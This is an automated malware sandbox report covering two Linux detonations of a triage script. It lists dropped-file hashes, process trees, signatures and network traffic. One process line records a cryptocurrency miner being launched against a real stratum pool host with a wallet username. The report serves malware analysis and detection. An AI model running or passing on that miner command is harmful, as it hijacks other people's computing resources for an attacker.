MD5 ccaf1771ea4b0b672679debdc88871ae
SHA1 0cb03e2ad20ff3452e8fa80f1ce52bdf0497b8d3
SHA256 22123966e2cb60c1863fea0700f29a917b1f14c84e53b01620a4c0844bd8c649
SHA512 954291cbd32470b2459f42e81b3cbacf793d8d5362c676b080fb09192de9b3e6dfd1963a30b8d0ab96b301a0daadb3ea347392e27801f4f663a069f4a72bedf7

/var/cache/apt/archives/partial/libomp5-14_1%3a14.0.6-12_armhf.deb

MD5 b0dcf86af71a4a6b52cf605820b0e444
SHA1 67958dbf90768291981b241230a7ab3d322e0446
SHA256 2631be1f6ae145793c0235813f63df3d930d20fa06c9e5eb872a8ec29b46a46b
SHA512 a99ff0d8e7e23cb453e3fca7c8654dc2aab2a030beb4b456b08bbdb88c8052a4012971f84896fc943dee1f8c0bbed1f087e954a33b09c60e10f5e28270d86ec9

/var/cache/apt/archives/partial/libomp-14-dev_1%3a14.0.6-12_armhf.deb

MD5 e8be395b892c9bf35eb56f96be53463f
SHA1 b988dde92dcd20801a6917e8c995f94e56b7421a
SHA256 e754a8022c0c8552b68e88b0588feea7f96876f65d64a1b7bdc67e8062ba6782
SHA512 fca1b48234f86e9c0ec677a61af05ea07c4e84e23dbb88ce9fd0c100a3046529921afbdf77645be7a8a4ef6eab4b1cc8895906cb11a9ebc0bca7b39b8071a524

/var/cache/apt/archives/partial/libomp-dev_1%3a14.0-55.7~deb12u1_armhf.deb

MD5 5c13cc24b173d8889be1ea81e2e689b9
SHA1 41ac473482b8144b25e813b0de208d2d71283b18
SHA256 b3b765a4c90e536532c065617d455ac3328761351fa1abb7d507bcc71f11d6b3
SHA512 4ffb7032833d311b9376109b92b11c9d42c755bd525ad555b80d59956321b0c13b6a17f79ad21e6c7ef22bf97dd01e476a9b412c2c60bab3ac71c0fbc45b6e35

/var/log/apt/eipp.log.xz

MD5 37e824530de64f6ddf32ddae92312ef6
SHA1 4e2e9bfb1a54731d600e3dd46b49ddda28614719
SHA256 6bcca19e90c51dbe391430db8a52b0ee0689cd0bcc0fc008dc61171a1fab2f05
SHA512 6067f7cb505e1dfa7107c41b54cea2509e1a439cb3a6c8eeff15fb484f39357e1a24ba56bca6f516864279dd241552e6da693ce22b2d6d617814427818af3177

/var/lib/dpkg/updates/tmp.i

MD5 895f70bc23dcdd72976d97bfedf4d667
SHA1 6d7ce3dbfcd9b58b2845da49650a4e24b8c0ed10
SHA256 9b0c6f4b82dcb92ec2f50279c28169d73f654f0d8b4aec69a6291086f82f7357
SHA512 c8ce999c3ac934b85977d8f78c9f69c8abe0cc063c3c24605633c62dd566b6a72a20117a68d3ad2354677b45b71307385a0a2d0585621546c19d7da11970dffb

/var/lib/dpkg/tmp.ci/conffiles

MD5 7fb8d59e7faecf6518fb9f76feebc527
SHA1 ebe2a35b012622e8de1dcad99b7d85dcbb6bfdae
SHA256 f7e711637368393ee8b3f9f315e449de719cbc033b4175baf7e9e9b39c30bc30
SHA512 585c91550abacbccd033db623924ddb89f3c16658568bc381f8759a329b52dd159ff9f540f1731b3ff1666fc754b436b69027d8b14c80557e984770a673fe3a0

/var/lib/dpkg/tmp.ci/control

MD5 3999ad5d6a4c5f849e3f5f79fcc65cc6
SHA1 ae43e59cdaa305b606dd303699f00cb2a33400f1
SHA256 57b796db77786bcd5b006a949b7a88083d29e63da107b3bb758bf030c77df44f
SHA512 f3c7a97830b57eae0fa01e842b5db4b4f5b3cfc68a0a3d0071ff34f0f03d8af7743982c53296420ae26732926f48e2b08b6f21a6f7952b2289863832e56d514e

/var/lib/dpkg/tmp.ci/md5sums

MD5 16641ab657b7116008045cc4e72b7547
SHA1 4697ac1a56869b8da28747982fd49dae06de9d26
SHA256 0bd8b21751c4c7f2c627cdc3b28a5f5634992bf21167fa56d29e90102ae1736a
SHA512 d351346f61af829753f62c33e87b451b72fb174b15d6787e0080b071b7a5f392365b09ac0bf449f3b1a4fabc2507b73223cae3a5d0b28a18102fc0ea19ac1d9a

/var/lib/dpkg/updates/tmp.i

MD5 7c5bb6fe5ba07bf5ae2919b3819c11ec
SHA1 e47392c5643086ddfc5c3b67df7898c212b46786
SHA256 01f7d5ea79171cd101090045ece4d5df19310146b3525f21cc5d23df2e46aa56
SHA512 8579ab93d33026e3c79832829e1dd981d080dfcc871a5791fd743dbcecb6163704e17b15d714605feb1a6902ba23cb0dd9995484bd5a21ee102d59b8dddefd6e

/var/lib/dpkg/updates/tmp.i

MD5 8498b7787aa5725a3e3e81f0ec2f3cf4
SHA1 e73895e2dc6bfe07368f4b49a24352572241a584
SHA256 063d9e074154be0cfb22792fcd7adb4bf0d32cc021442c94b1f8c10ff23ab5e9
SHA512 56233e608dcc06608de2419771db83e527fb26f7a20b45b149c87e96dd30ad754c697dd4ca2149e3171ab5f3eb4579e066d7d6f0ae4256ede719a931a9d3d011

/var/lib/dpkg/updates/tmp.i

MD5 a134b29ae062b3d8a41114904827e284
SHA1 5a43e140d30cce4c2bbee73b33b52420a6ae4985
SHA256 a998b08b20d180809de2fdc1f9f99c89885524e96b49ad9eeff8f6234d8234b5
SHA512 e499870789ca5a56ad4f6282aae7b2db1a1a7d49ceb98c39e9a8696e6ff2c5bd17fdb127f3fba0f90f6c4c6799b6459a36f3508ed839bb3b44748b7a327e3975

/var/lib/dpkg/tmp.ci/control

MD5 b2723ede7990a0ff68baf573e3138d15
SHA1 9e492f4a2b96adfac4619285056c597a63fe7fa1
SHA256 32f82897bf79449d59eb5248186100a40d4b2d6d5476e47bae62e2ade5a04f2f
SHA512 e4ffd7086318549699d212e68ba40d403359e7f5ea56c0db143e3005192ef1889d0856a62ddc03849c3b89522ada1882fe89db2316a1dab2bc9d85c18873271a

/var/lib/dpkg/tmp.ci/md5sums

MD5 f192f00c7b2070357a0854881105caf8
SHA1 c25383f3747faa337d9cd84b3d120b83091419df
SHA256 378dc4a54f7166e7cb1010ee3c52c5fad4a46e0e66194aea212ba3ba2ceba041
SHA512 572737c3d70457acb38ff8d36996eb7551e30481af62943344c33168c2d23819a7bf1a3b3738322089ab32db0d2abbeb012532b1daa66aef8525a7183dba2999

/var/lib/dpkg/updates/tmp.i

MD5 c89987aefc605b0ab4702598d7b18a98
SHA1 5b675b1193d70ef6a4e768640f6b67f32d9d48e1
SHA256 d9f542c6988d5fb1897d94879b60481939c5d88f10c29d62a238d0d7ae88889e
SHA512 9aa49af441ca6550cd69c004001ff6b1d70c7c39781846fddeb1b7fd5d5b950dd394a8de5290d49e09b2f1d2399dfe0e99a33d51406314ea321b21d4f8276c2e

/var/lib/dpkg/updates/tmp.i

MD5 edae9b7299f2afc09258160786a4dada
SHA1 dd7aa0c8aa29e937efd88b9eb39811e1460b62b9
SHA256 cf7d2275d2effcc231f426e078582b9665c4a2407e267c9e25546220308dd569
SHA512 0e3341d862dde54e87b2cea0384cc79a4594f7a22a322d501fbb386559511cc8e6046bf134bc1496d04bddb80c8213dd0438368d3a5d20b82099a5a4c9cc30ff

/var/lib/dpkg/tmp.ci/control

MD5 12673c50a1cd6c9744db4a487be47982
SHA1 c95dfd2436b13a63aa7e6c62e489bbaea1df5548
SHA256 d00af0614aa30e49d3e756d1d8d9f58e549a7567392bb12787c05857fe1ab8c9
SHA512 3ab3b98aad21fd3f6c4cf548a5dd4f8b49579f313efa6644a28c51a773d5f7b0135562c382bad08549aa5be5cf632b5d99a1b8b0b5fbdc5b353de3c39e26ca51

/var/lib/dpkg/tmp.ci/md5sums

MD5 47c00cffd2717236cb45967b2e1490b9
SHA1 42f42373e3024a24d457c01abc68a50606ed6f50
SHA256 79f8100d05797997ce63025a5f0abe8f1ba754c0e6a7988f9040cee379bd13f8
SHA512 b0bad71311985255872a8eb76392a03aa307dd5a8cf33a6e95205fa59aff980aa1d3fa4acd26a4cb17a4430197998bf554ab5655ad3d8fe77584a1641fd7d965

/var/lib/dpkg/tmp.ci/postinst

MD5 b8eb4e1079f78c8e8aa8ae870a35c7cd
SHA1 ea86259eac12c40732df15c389a79b68842a313a
SHA256 16b00ffad29d16230dead385205ea543177fb6387dfbafd007f4a7bc90db81ee
SHA512 c0e09ec5a041197e98cc46f7815bb564493b2e7625939fccb068a55f4e1d38025cad3ec5b569fee441e0871be4fe1218df4e235d1dd82f1e21532f7c6e313d9a

/var/lib/dpkg/tmp.ci/preinst

MD5 341e2ed2fe955d296073c4e14d3823ca
SHA1 ca85ebe0b86e07b0d2f9eae544eb4465e8f10796
SHA256 689a194bb2f3dff7aba6aa2a03e0cf0ac9027f7ed5ea4ec8fee48bc61ad321b3
SHA512 1ef98c73c5908ec1f4f4a9ad9ad1029b009c08e39d0a0dec5360839cd0b614e395d12ce7b2653c0a7d1885f0d93e4098b631f23d0bf8e72e3bccf47a2e843587

/var/lib/dpkg/tmp.ci/prerm

MD5 d08a76af8d50462b60a378312cc4f585
SHA1 8555d8c45e65d4347e9a371fdca598be95f4d614
SHA256 96b8be2538c9212341493a9989e752a674c51da94dfcf91128ebc1f16ea89130
SHA512 acdabb296974dbda0f3ce7e2e095eb8a7db95156d433b10513c2aa6a4460750d9dc39a32813809bfed3c2a53446f27e82a0d61c7215c55bdc6c8c6ba96870222

/var/lib/dpkg/tmp.ci/control

MD5 17a558e51a2e99b8378130a4efe3ba14
SHA1 8dc3ed734ed1427e3a1d311d1fd487d224d65560
SHA256 cbd204ec68587ef78cb48a0cdaedacea1b90df9038bba8267602750c4e1931fe
SHA512 5001736a7c6e885afdf87fe8b38dbf72c5eb53c1348545469039e9a4c2d76482fb92aa666a0d08d2efbbbfabf22c19a6b53ddd3aa7a119b9fd0ac66cb2e280c6

/var/lib/dpkg/tmp.ci/md5sums

MD5 bbdd866e6277e8d4d467e43b8b9ad889
SHA1 c168b73fbe155382873db3649f8ace45d778cf9b
SHA256 5e3332ef5293ea597f1e7abc1b2738d8fcc5d97868c8af553b2e874c2062b58d
SHA512 489afd6c540ee76f4b57601496a9b4ff2ac81f214c1ebf1213b2b169e27542a71f06d42cf119cca97ec7b336bafe5e209ae0c2a2a95650f2e3e42127580ea641

/var/lib/dpkg/info/libcurl4-openssl-dev:armhf.list-new

MD5 89f15dc17e90ed247d67183a6ef1c950
SHA1 8107e798f46033ff61aea140ab88dbf7535753a4
SHA256 a65553d25f645bc20266322fd38fc9d68bc9c7df082f46de07ea0e1890379fe6
SHA512 f8c0575aa3c6f96c64ae01ac237a6ab07bcd3a29ab141ef39eee3a6a4858d8281132f3dc9f5c001465c07cb7b19a2cb49545b82c027ad0f9cd24c1e0fe1b243e

/var/lib/dpkg/tmp.ci/control

MD5 cb168ac3d5aac230b76c046cb9a56f99
SHA1 2f3fbe577c56ea07f6960017ac6a51c8ce8a49f1
SHA256 91a6521a0a5ded3488656448b315139f02940a473771202f31737720889775ca
SHA512 6da3335e7f059745846b70f0eb4444442a2bb23f93bb9e38b806794cd17b8cb25e5c6ba4ced8de972ba8d3909f76b18ae563fd9ea870d1488aa26c89e2fdf687

/var/lib/dpkg/tmp.ci/md5sums

MD5 d8c9d954fcd22f583326545ce6b37561
SHA1 8214ab5871da95da5ee89e8bc40dcd18dd93d05c
SHA256 9c8470e2f6915d9421e012f477c1721e74adf68fa54d2d39915e2d11c261f5b8
SHA512 b08972afbaad67379261c43205aead584fbc709afaccf525a1548014cd88d0dc510d20199eb8470c19cf2c3d4e142849277a6abc8f68b1de440064c5d2131c2e

/var/lib/dpkg/info/libjansson-dev:armhf.list-new

MD5 762694f3a0022b1b4b868fe6da5f44e7
SHA1 806421f0eb5c2d8f4a12fef89c3c4020207a2cf5
SHA256 0f7c386ff08ed227e8368f0ae676b472bb970fd3b54fe8d7932e90ef43e47df3
SHA512 fdefaa723f92e9c242a4cbabe6da29ce4e7f36ab02a6f9addcc8a8f6800c018f8ecb4c5e72130c70dafb23fe385f468df1e4354c3d3ba24ec79a93e36ca43096

/var/lib/dpkg/tmp.ci/control

MD5 88af484bd5c7f8c1f5c62ff0b42de17b
SHA1 27fd1ae39cd46e54d9b0a9aed0c18476e45cc988
SHA256 e1d8a8178ea06f93af46f0789f0a913ce296698c1e76e5f42436f2ae08902373
SHA512 5449742d77b46c26f4165d56a639e1f591bcba94e9cc23baa43983483cc339181d04fec3c428a93bd4fcabd0999206d20b046d118fab736bddd88ab7f4799d95

/var/lib/dpkg/tmp.ci/md5sums

MD5 833e7ba3932a789472b5ea5838af1f3e
SHA1 f6a02ac3f416f3eb53b0934f3ae9dd5631d25693
SHA256 8f7f6c77c498d1ad6f36711cae68713ad7e2e76991935161f96fe9a966160e70
SHA512 e383beaf57507dd7ca0f67199d9e9ce72cae09dec439d2909004126f7d4400c9ccfc6201fb071e49c396bd1540acba5e4f67e9772010b24c0e2bdcf87942688f

/var/lib/dpkg/tmp.ci/shlibs

MD5 601c99b60519de6850006a8cb9aed8a0
SHA1 72387fd1e3093b013762e2c2814a56cec6ddd333
SHA256 12a0bb529fe6c418dfca8c8a299093942947a637d8b34bd7f027d2fded17d5b4
SHA512 085468f71c7d4fa2999791e8902f7a70f43ccab33ad458f3e46ee2777cdb27c9a02e8418791b3c81818409450e2368caae5019f6d3641a8830f1c6bf888f4bf7

/var/lib/dpkg/tmp.ci/triggers

MD5 4699ead205b4b1048e81e754c6c7cf67
SHA1 51f223779806aa6d23348a3aaf55b439c4592520
SHA256 0a19ada1c65348b986992096777df4232177012e2f12b3612cce1c4f675365de
SHA512 9a386b6935a3bc11321de6bfa945eacf1280c76c933f4e6cb80226861005809d6548257bfd1e589e651c8f943136125849434453a0aa7c9c81f56c2865333a03

/var/lib/dpkg/info/libz3-4:armhf.list-new

MD5 3c09ab553fb0955e34893fadc08b0abb
SHA1 0cd8292b36e41ea653799f14fac6e26c32f7a559
SHA256 fe4190671fd0892d946fd00f62cb51c5faa05a51b93c95864c53ff0aaac9b5c0
SHA512 86f5541cf47e4d077281eb8a0e811125b68edd1059cb58bd48db782ba5252e9254a39869202611d30b22330d944503b6876db2ac5580d7a9a950cb8ed612cdc3

/var/lib/dpkg/tmp.ci/shlibs

MD5 47b4d6a7d32c67ade6fa0140617a8a90
SHA1 56e2fca0e96e5a35870ccc3b55a9399af79a8af0
SHA256 9f93b4165f4ac5a4a1bca29e130ea4e65b3ddf19ae3feead22095e78a80ba64b
SHA512 70cdc935ad1903678c3b495fb5564c7ea8203d6d006d0685f58e68359d033cae584b428e874ff748dbbcca3add82f0d59792d212f092b5c2cfd439993fa09a0d

/var/lib/dpkg/info/libllvm14:armhf.list-new

MD5 ec6d0ede394b9f6b140c67ddec7b31bf
SHA1 4f50ec93913ae22bfd6e80926d161e0cbfe295f6
SHA256 20ac18069cede6558c6a4987a0192c14b3ec52893e8b90f140be14787918ee44
SHA512 a8f83ab9692d4f7cf837542c0852c7cd4c7f1838ddb704e9c98f86b36f8ff0f0593536d52abc0e52cadd4fb481d21b1e1669908cc35ff8e4b23a76ee01e8a397

/var/lib/dpkg/tmp.ci/shlibs

MD5 7906196eec7f8380d3916310d2580f32
SHA1 abbd38fe630d744b61e774b3798bbf5ce7995050
SHA256 20437a5d44077ac5ddf1a7ac27b2ee14fd6e97ba5d1b7ce9a5f99f95bff874ed
SHA512 ea59918340040e540add5ee5a7ae0facfd73b64ce7cdeedb8cd55680df6f2becb1d38c0927292575eec529f07951a1b6f1ae525812957a5c268e28927eebf792

/var/lib/dpkg/tmp.ci/symbols

MD5 8cc069398a6a26d737683fb3e5de2018
SHA1 343a5895877b969bfa0779e060985bbf96e78d4f
SHA256 98a9929c779c9f4d1db52385110f3e182c9fafac46fcba02a8b6851210e620a9
SHA512 f2c5c09e4f4c25273daa618c2b1c15e4c798947b00c56cc42022bca4c258480308374d46c7a1768202bca430b9a52df10b5d33cedc47719c51fab51805e19466

/var/lib/dpkg/info/libomp5-14:armhf.list-new

MD5 22cbb7929881bb455441792e6709e873
SHA1 1c9898e061b33aece391972ab3a1d0315af7c667
SHA256 3d020cfb5914fe8b8d160eacb9159965135b6d1d4c460cc49580dd943c7a33b7
SHA512 7a270fc87fcb20b3fb2bf8cfe762ab95c44235c4c81273c6e334b3c045b00c9dc7d3be3d0510887e35a983470bc7c2c418c4709391b3d48566299024b9dbb175

/var/lib/dpkg/info/libomp-dev:armhf.list-new

MD5 7178a8a64adb24f81a80d37ed18d933a
SHA1 be05561023f6263c6fd9554e4fdd4a8dd624384c
SHA256 db9a23878f6a212e6745a7bb7f16ffc26c33479b0f739359e88dbb6bae8dc7fd
SHA512 43ff9301ad0fdb5f5c5a99ac805e36d431de764465207f105062a66c2eab41108d88dab1a7d167307e0ed660b99f325c967b51a8d7e39f14d172ee0d68ab58ff

/var/lib/dpkg/status-new

MD5 4eeaf784d17faf909732480b0e6a723c
SHA1 dec2b8cac916cbadd4f28cd2c3f174cff9a383e7
SHA256 6b59bd762835cc4cb3a6469ad99bf12d57a3f12d480c7abf4e42ffdb007b9e3a
SHA512 d08f0ce9f8669b67081b0ac901a44c1ee8ceb52858b592e6a6d5cdbb5bf44718506bd166df24d8db14b41e632644901af4cdb919783bae5c3f3c2ab8265072a9

/var/cache/ldconfig/aux-cache~

MD5 e6c3d5d1617d01b7833d43d82612077a
SHA1 85514ee1c20312272e296b2f4a1ac4bc1a96a30f
SHA256 3ece2eb2980525aeb5cf7a24bc8c41f00407eb05c0c627e9507bcae7625cd84f
SHA512 9827fbbf94564f521dfcbdfc48e609da38b0bded9c3d96a3f8a439fc87b5b52d265b3fb694d4b3e0f74dd081bb32000c7b6c26686717d31cd624bf3dc6e58e7e

/var/lib/dpkg/status-new

MD5 9241965cd83203adba76b65c979317b2
SHA1 1765d79a4a091a8f13623e2e766c7eb00d800e52
SHA256 35f36c87bdfb0e8736bb241576d075c19bb52d53a8e369bc3f63c3f0e1f58071
SHA512 db548da5d8786a133e77757a29fe72fa70ace125dd0f55979a6ccb31375970ae2d1f830a6c7a1a97c4817025722b3dd33baf1168c189f2556d8a39f6952201ea

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

debian12-mipsel-20240221-en

Max time kernel

138s

Max time network

280s

Command Line

[/tmp/triage-script.sh]

Signatures

Reads CPU attributes

Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/sys/kernel/seccomp/actions_avail /usr/bin/sudo N/A
File opened for reading /proc/1/limits /usr/bin/sudo N/A
File opened for reading /proc/self/fd /usr/bin/apt-get N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/sbin/sendmail N/A
File opened for reading /proc/sys/kernel/cap_last_cap /usr/bin/sudo N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/sbin/sendmail

[sendmail -t]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1sSxRJ-0000CG-2v]

/usr/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp
US 1.1.1.1:53 debian12-mipsel-20240221-en-6 udp

Files

/var/spool/exim4/input/1sSxRJ-0000CG-2v-D

MD5 0c62e7cc80c9ef577f528bb2316a3cb1
SHA1 e065989fe5d7fb3e824241d837e5e396a30fe6a6
SHA256 7e1d659382be358ce5d945cf6cfa0d4644b7f4762832f8e3c45d7f136d421b46
SHA512 12c2ae31ed6f30c05e15758092ad9c173b08ccd267c400c8f8d456eca7bf233c9231508ef960320426f9a6f1699ffe56df4d4ebf6898dd4488cb6995ceb39ff0

/var/spool/exim4/input/hdr.1sSxRJ-0000CG-2v

MD5 7a52446ee0c24f92469e2d6ecf354476
SHA1 9f5abc79315aad8d5099e18d477c1576fb0c6a16
SHA256 31406591d5d6e83c0484232b212c014354b385435cda60d0c6eb35e1e4fd1b7e
SHA512 ac194710d409103ceee4004371f8ba39201961d327e41599368ac498f44940b1017d55eabcf23b454a4cd86d223c0cf9f6aab45e7ae2d037305e03001b003ab8

/var/spool/exim4/msglog/1sSxRJ-0000CG-2v

MD5 ca3c243b68921bb25cc66764c924fc0b
SHA1 3c38a90ebe026ace9c63720881e31ca2abc0da73
SHA256 fc8941f726d689a46ba8f32c39273f081c1bd62030f98e96646c0592e4fbb409
SHA512 fd9c91eedb7e2e7926e7e7f5597fd66eb066684f99d5ba0773730ae82fb6ec1c9bf7823cd6aede7b4f0e1d23f6dc64228106d9c33eb24753cb3bad7d22f2a9b9

/var/mail/user

MD5 e8fefa2c254c02d7adaa7a6c75f20647
SHA1 41e983f6ec14489a25a91bb345ba5bfbd24b1689
SHA256 cfb7199bb350de2219e4a3025961aed50ff9068de6feb1f4164be37c74a55e2f
SHA512 f8e4f639ac28c869d5626030c978992966a129b14f207b613a24520a17a46805703ca8bb9328cb4733554a516722fb5d937a1b09d3c942255aa7b2937c47ab26

/var/spool/exim4/input/1sSxRJ-0000CG-2v-J

MD5 d7d96d63d643a4ce3e408eba7dfcedc5
SHA1 c53607f95c5c57beafc1d8266646797a035f76ea
SHA256 21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512 703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

/var/spool/exim4/msglog/1sSxRJ-0000CG-2v

MD5 bef6772dbefff251ab7fe9b289d0c661
SHA1 ba61fdeb7d9a56c31e077d69e712e46c114ed747
SHA256 02d3415da4f1d5639a3505b795d8ed928afe77393fd902cc7fc3fe4b6722149e
SHA512 1a074ee5e79c926ad9c073874ab2c67eaeb2582d85a288d260a95a80db07f5bfb1da664910fbb469e348aaacf67269ece4859c5f495f816f79b54493cbb58632

Analysis: behavioral5

Detonation Overview

Submitted

2024-07-14 13:29

Reported

2024-07-14 14:00

Platform

debian9-mipsel-20240418-en

Max time kernel

54s

Max time network

1679s

Command Line

[/tmp/triage-script.sh]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /var/lib/dpkg/tmp.ci/preinst /var/lib/dpkg/tmp.ci/preinst N/A
N/A /var/lib/dpkg/info/automake.postinst /var/lib/dpkg/info/automake.postinst N/A

Deletes log files

Description Indicator Process Target
File deleted /var/log/apt/eipp.log.xz /usr/bin/apt-get N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Write file to user bin folder

Description Indicator Process Target
File opened for modification /usr/bin/autoheader.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/ifnames.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autom4te.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoscan.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_restoreconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/dh_autotools-dev_updateconfig.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/aclocal-1.15.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/automake-1.15.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/curl-config.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoreconf.dpkg-new /usr/bin/dpkg N/A
File opened for modification /usr/bin/autoupdate.dpkg-new /usr/bin/dpkg N/A

Reads CPU attributes

Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A
File opened for reading /sys/devices/system/cpu/online /usr/sbin/exim4 N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/self/stat /usr/bin/sudo N/A
File opened for reading /proc/self/fd /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/sudo N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/sbin/sendmail N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/bin/apt-get N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /usr/bin/sudo N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/filesystems /usr/bin/dpkg N/A
File opened for reading /proc/sys/kernel/ngroups_max /usr/sbin/sendmail N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/filesystems /bin/tar N/A
File opened for reading /proc/self/fd /usr/bin/apt-get N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/fileutl.message.izq1WP /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.IZRlbD /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.ijsCxN /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.NyRp57 /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.ovjKgA /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.fUXpyg /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.QKEQ2m /usr/bin/apt-get N/A
File opened for modification /tmp/fileutl.message.GoUcR4 /usr/bin/apt-get N/A

Processes

/tmp/triage-script.sh

[/tmp/triage-script.sh]

/usr/bin/sudo

[sudo apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/sbin/sendmail

[sendmail -t]

/usr/sbin/sendmail

[sendmail -t]

/usr/bin/apt-get

[apt-get install libcurl4-openssl-dev libssl-dev libomp-dev libjansson-dev automake autotools-dev build-essential -y]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1sSxR4-0000CD-0h]

/usr/sbin/exim4

[/usr/sbin/exim4 -Mc 1sSxR4-0000CA-0i]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/usr/lib/apt/methods/http

[/usr/lib/apt/methods/http]

/bin/sh

[/bin/sh -c /usr/sbin/dpkg-preconfigure --apt || true]

/usr/sbin/dpkg-preconfigure

[/usr/sbin/dpkg-preconfigure --apt]

/usr/local/sbin/locale

[locale charmap]

/usr/local/bin/locale

[locale charmap]

/usr/sbin/locale

[locale charmap]

/usr/bin/locale

[locale charmap]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/bin/sh

[sh -c stty -a 2>/dev/null]

/bin/stty

[stty -a]

/usr/bin/dpkg

[/usr/bin/dpkg --assert-multi-arch]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 14 --no-triggers --unpack --auto-deconfigure --recursive /tmp/apt-dpkg-install-WWWdSG]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/local/sbin/dpkg-deb

